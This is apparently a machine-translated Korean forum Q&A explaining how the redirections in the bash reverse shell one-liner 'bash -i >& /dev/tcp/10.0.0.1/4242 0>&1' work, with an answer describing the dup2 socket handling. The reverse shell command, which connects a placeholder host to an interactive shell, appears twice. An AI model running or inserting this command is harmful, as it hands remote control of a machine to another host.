
まだこのコマンドがどのように機能するかを調べようとしていますか?
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0>&1
私はこれがSTDINが接続を介して送信されることを意味しますが、STDINがすでに接続を介して送信されるべきではないことがわかりました。>&
これは、「すべてを次に転送/dev/tcp/HOST/PORT
」を意味するためです。
答え1
このコマンドは効果がありません。少なくとも、それは「仕事」の非慈善的定義では真実です。
シェルはまだ実行された端末に接続されており、バックグラウンドでコマンドを実行するなどのジョブ制御は効果がありませんControl-C
。Control-Z
また、バックグラウンドでスニペット自体を実行することはできません&
。
2021年には、一般ユーザーとして1024以上のすべてのポートでSSHサーバーを簡単に実行できますが、なぜ暗号化されていない接続でシェルを実行するのですか?
この映像がなぜずっと出てくるのかわかりませんね(おそらく15回目か17回目見たようです) - おそらく誰かが本当に成功です。彼のブログを宣伝する ;-)
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
>&
「すべてを送る/dev/tcp/HOST/PORT
」という意味
いいえ、そういう意味ではありません。 Bashは、「HOSTとPORTへのTCP接続を開き、接続されたdup2(2)
ソケットをファイル記述子1(stdout)と2(stderr)に接続します」を意味します。その後、「ファイルディスクリプタ1(stdout)をファイルディスクリプタ0(stdin)に接続します。」を0>&1
意味します。dup2(2)
。
リダイレクトが左から右に発生するため、bash -i
HOSTとPORTに接続されたソケットはstdin、stdout、およびstderrとして実行されます。